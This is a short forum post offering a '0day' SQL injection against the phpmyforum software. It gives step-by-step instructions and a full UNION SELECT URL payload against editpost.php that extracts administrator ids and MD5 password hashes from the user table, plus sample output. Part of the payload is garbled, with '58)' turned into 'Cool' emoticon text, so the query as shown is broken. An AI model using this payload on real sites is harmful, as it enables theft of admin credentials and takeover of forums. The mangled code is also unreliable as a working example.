phpmyforum SQL Injection

[Ras]

Here is a 0day sql injection for phpmyforum, admin hash disclosure. You need to register and post a message to make it work. This forum is completely in german, so it's a little hard to work with (if you're ignorant like me and don't know any other langs). 

1. Register at forum. 

2. Post a message in any forum. 

3. Open the url, replacing "24" with the id of your post. 
Codice: 
http://target/editpost.php?id=24+union+select+concat(char(58,58,5Cool,id,char(58,58,5Cool,pass,char(58,58,5 Cool),id+from+pmf_user+where+group_id=1+order+by+1+asc+/* 

4. The id and md5 hash should appear in the textarea on this page. It will look like: 
:::1:::21232f297a57a5a743894a0e4a801fc3:::